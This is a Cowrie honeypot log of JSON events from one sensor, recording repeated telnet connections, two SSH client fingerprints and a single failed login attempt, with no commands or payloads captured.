{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52596,"dst_ip":"159.203.135.109","dst_port":23,"session":"881dce702af4","protocol":"telnet","message":"New connection: 213.129.84.225:52596 (159.203.135.109:23) [session: 881dce702af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:31.613141Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37234,"dst_ip":"10.17.0.5","dst_port":23,"session":"4462db6c1d2c","protocol":"telnet","message":"New connection: 137.184.155.248:37234 (10.17.0.5:23) [session: 4462db6c1d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:31.913465Z"}
{"eventid":"cowrie.session.closed","duration":30.621153831481934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:32.089931Z","src_ip":"207.148.4.7","session":"21e3ba0b4b7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.3075692653656,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:32.152927Z","src_ip":"137.184.155.248","session":"996c55599755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2310110a411","protocol":"telnet","message":"New connection: 213.129.84.225:57214 (159.203.135.109:23) [session: c2310110a411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:32.621454Z"}
{"eventid":"cowrie.session.closed","duration":31.641682386398315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:32.709592Z","src_ip":"207.148.4.7","session":"385d89b8b82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":57806,"dst_ip":"159.203.135.109","dst_port":23,"session":"251ac8ba4c4c","protocol":"telnet","message":"New connection: 213.129.84.225:57806 (159.203.135.109:23) [session: 251ac8ba4c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:32.756117Z"}
{"eventid":"cowrie.session.closed","duration":31.33603858947754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:33.440988Z","src_ip":"207.148.4.7","session":"650b744db9bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36128,"dst_ip":"159.203.135.109","dst_port":23,"session":"34db64c3f8fa","protocol":"telnet","message":"New connection: 213.129.84.225:36128 (159.203.135.109:23) [session: 34db64c3f8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:34.186150Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39004,"dst_ip":"159.203.135.109","dst_port":23,"session":"1964e5d99415","protocol":"telnet","message":"New connection: 213.129.84.225:39004 (159.203.135.109:23) [session: 1964e5d99415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:34.744742Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46686,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ec99264745","protocol":"telnet","message":"New connection: 207.148.4.7:46686 (159.203.135.109:23) [session: f6ec99264745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:34.759038Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"3127ac966e70","protocol":"telnet","message":"New connection: 213.129.84.225:39696 (159.203.135.109:23) [session: 3127ac966e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:34.888100Z"}
{"eventid":"cowrie.session.closed","duration":30.186055898666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:35.105852Z","src_ip":"213.129.84.225","session":"8a8a8ef2d9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552114963531494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:35.114823Z","src_ip":"213.129.84.225","session":"8e9c4387d85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708880186080933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:36.040082Z","src_ip":"213.129.84.225","session":"88989f5a9011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49230,"dst_ip":"159.203.135.109","dst_port":23,"session":"04add8269030","protocol":"telnet","message":"New connection: 213.129.84.225:49230 (159.203.135.109:23) [session: 04add8269030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:36.727718Z"}
{"eventid":"cowrie.session.closed","duration":31.13299298286438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:36.839398Z","src_ip":"207.148.4.7","session":"aee54baf83c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50512,"dst_ip":"159.203.135.109","dst_port":23,"session":"28b134a0d1ee","protocol":"telnet","message":"New connection: 213.129.84.225:50512 (159.203.135.109:23) [session: 28b134a0d1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.022068Z"}
{"eventid":"cowrie.session.closed","duration":30.355124473571777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.043860Z","src_ip":"213.129.84.225","session":"ca175db8b9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179619312286377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.102534Z","src_ip":"213.129.84.225","session":"8557813c10a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53400,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa3dbb840fd","protocol":"telnet","message":"New connection: 213.129.84.225:53400 (159.203.135.109:23) [session: 6aa3dbb840fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.566434Z"}
{"eventid":"cowrie.session.closed","duration":31.27062487602234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.659915Z","src_ip":"213.129.84.225","session":"54c628dfbfef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46688,"dst_ip":"159.203.135.109","dst_port":23,"session":"dac79c3e4dec","protocol":"telnet","message":"New connection: 207.148.4.7:46688 (159.203.135.109:23) [session: dac79c3e4dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:37.701882Z"}
{"eventid":"cowrie.session.closed","duration":30.83342170715332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:38.067496Z","src_ip":"213.129.84.225","session":"d8b44b0a251d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.132172346115112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:38.119338Z","src_ip":"213.129.84.225","session":"1a0d147fea91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60420,"dst_ip":"159.203.135.109","dst_port":23,"session":"2016d33e360e","protocol":"telnet","message":"New connection: 213.129.84.225:60420 (159.203.135.109:23) [session: 2016d33e360e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:38.970106Z"}
{"eventid":"cowrie.session.closed","duration":30.786707162857056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:39.146693Z","src_ip":"207.148.4.7","session":"3afb2346b36f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.163259267807007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:39.171249Z","src_ip":"213.129.84.225","session":"9fa3651f23d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.94204878807068,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:39.560034Z","src_ip":"137.184.155.248","session":"134655510725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39864,"dst_ip":"159.203.135.109","dst_port":23,"session":"270798c5ecc1","protocol":"telnet","message":"New connection: 213.129.84.225:39864 (159.203.135.109:23) [session: 270798c5ecc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:40.534570Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":46698,"dst_ip":"159.203.135.109","dst_port":23,"session":"b47d94ee2097","protocol":"telnet","message":"New connection: 207.148.4.7:46698 (159.203.135.109:23) [session: b47d94ee2097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:41.561836Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"a32360d797f0","protocol":"telnet","message":"New connection: 213.129.84.225:45198 (159.203.135.109:23) [session: a32360d797f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:41.642814Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49684,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa899907f0d0","protocol":"telnet","message":"New connection: 213.129.84.225:49684 (159.203.135.109:23) [session: aa899907f0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:42.610389Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54848,"dst_ip":"159.203.135.109","dst_port":23,"session":"5351b91dca7c","protocol":"telnet","message":"New connection: 213.129.84.225:54848 (159.203.135.109:23) [session: 5351b91dca7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:43.621289Z"}
{"eventid":"cowrie.session.closed","duration":31.737777709960938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:43.754236Z","src_ip":"207.148.4.7","session":"c11301e83b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39287304878235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:45.053436Z","src_ip":"213.129.84.225","session":"c417db57c1d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69112205505371,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:45.067853Z","src_ip":"213.129.84.225","session":"0077eca46628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33554,"dst_ip":"159.203.135.109","dst_port":23,"session":"45e0612ba796","protocol":"telnet","message":"New connection: 213.129.84.225:33554 (159.203.135.109:23) [session: 45e0612ba796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:45.073612Z"}
{"eventid":"cowrie.session.closed","duration":42.663105726242065,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:45.862966Z","src_ip":"213.129.84.225","session":"8d8a101d1535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87679958343506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:45.987719Z","src_ip":"213.129.84.225","session":"440923fabfc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.329293966293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:46.068281Z","src_ip":"213.129.84.225","session":"f4910a98ad8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04719042778015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:46.095196Z","src_ip":"207.148.4.7","session":"0f9430e3998c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39494,"dst_ip":"159.203.135.109","dst_port":23,"session":"73bb4ca78bde","protocol":"telnet","message":"New connection: 213.129.84.225:39494 (159.203.135.109:23) [session: 73bb4ca78bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:46.277781Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43272,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eea9ec79ef2","protocol":"telnet","message":"New connection: 213.129.84.225:43272 (159.203.135.109:23) [session: 3eea9ec79ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:47.081296Z"}
{"eventid":"cowrie.session.closed","duration":30.15959906578064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:48.048117Z","src_ip":"213.129.84.225","session":"c37fa7eca106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56298,"dst_ip":"159.203.135.109","dst_port":23,"session":"20cbd606a6e8","protocol":"telnet","message":"New connection: 213.129.84.225:56298 (159.203.135.109:23) [session: 20cbd606a6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:49.635372Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48430,"dst_ip":"159.203.135.109","dst_port":23,"session":"f43dce584f0a","protocol":"telnet","message":"New connection: 207.148.4.7:48430 (159.203.135.109:23) [session: f43dce584f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:49.761038Z"}
{"eventid":"cowrie.session.closed","duration":30.974337577819824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:50.067042Z","src_ip":"207.148.4.7","session":"3f48794bac22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d0f0d30334","protocol":"ssh","message":"New connection: 41.86.34.139:32838 (10.17.0.5:22) [session: 47d0f0d30334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:50.675110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:50.679333Z","src_ip":"41.86.34.139","session":"47d0f0d30334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:50.887109Z","src_ip":"41.86.34.139","session":"47d0f0d30334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.47875952720642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:51.023825Z","src_ip":"207.148.4.7","session":"9de11649b0ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48432,"dst_ip":"159.203.135.109","dst_port":23,"session":"627625f6012e","protocol":"telnet","message":"New connection: 207.148.4.7:48432 (159.203.135.109:23) [session: 627625f6012e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:51.153215Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"boris","message":"login attempt [admin/boris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:51.776523Z","src_ip":"41.86.34.139","session":"47d0f0d30334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:52.987463Z","src_ip":"41.86.34.139","session":"47d0f0d30334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48436,"dst_ip":"159.203.135.109","dst_port":23,"session":"82cda42b8181","protocol":"telnet","message":"New connection: 207.148.4.7:48436 (159.203.135.109:23) [session: 82cda42b8181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.026015Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4859a42ec3d","protocol":"telnet","message":"New connection: 213.129.84.225:59462 (159.203.135.109:23) [session: c4859a42ec3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.321945Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b31f1acdcb","protocol":"telnet","message":"New connection: 213.129.84.225:46588 (159.203.135.109:23) [session: b5b31f1acdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.396792Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48438,"dst_ip":"159.203.135.109","dst_port":23,"session":"649d422ae535","protocol":"telnet","message":"New connection: 207.148.4.7:48438 (159.203.135.109:23) [session: 649d422ae535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.460676Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42494,"dst_ip":"159.203.135.109","dst_port":23,"session":"139b9541bf2e","protocol":"telnet","message":"New connection: 213.129.84.225:42494 (159.203.135.109:23) [session: 139b9541bf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.504502Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48258,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2cffef15569","protocol":"telnet","message":"New connection: 213.129.84.225:48258 (159.203.135.109:23) [session: f2cffef15569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:53.707208Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":48442,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c676828372a","protocol":"telnet","message":"New connection: 207.148.4.7:48442 (159.203.135.109:23) [session: 1c676828372a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:54.097238Z"}
{"eventid":"cowrie.session.closed","duration":31.51811385154724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:54.502997Z","src_ip":"213.129.84.225","session":"cdad81a9dfb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52102,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb7478d24fa","protocol":"telnet","message":"New connection: 213.129.84.225:52102 (159.203.135.109:23) [session: 0bb7478d24fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:54.516632Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54244,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ad0aabdffd6","protocol":"telnet","message":"New connection: 213.129.84.225:54244 (159.203.135.109:23) [session: 0ad0aabdffd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:54.910528Z"}
{"eventid":"cowrie.session.closed","duration":31.002594709396362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:55.045639Z","src_ip":"213.129.84.225","session":"36450ba684b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":59842,"dst_ip":"159.203.135.109","dst_port":23,"session":"45eda6f53349","protocol":"telnet","message":"New connection: 207.148.4.7:59842 (159.203.135.109:23) [session: 45eda6f53349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:56.311620Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":52490,"dst_ip":"159.203.135.109","dst_port":22,"session":"4716381a31f2","protocol":"ssh","message":"New connection: 202.125.94.71:52490 (159.203.135.109:22) [session: 4716381a31f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:56.452232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:56.456275Z","src_ip":"202.125.94.71","session":"4716381a31f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:56.714597Z","src_ip":"202.125.94.71","session":"4716381a31f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.478022575378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:57.082633Z","src_ip":"213.129.84.225","session":"b5f3127ab385","protocol":"telnet"}
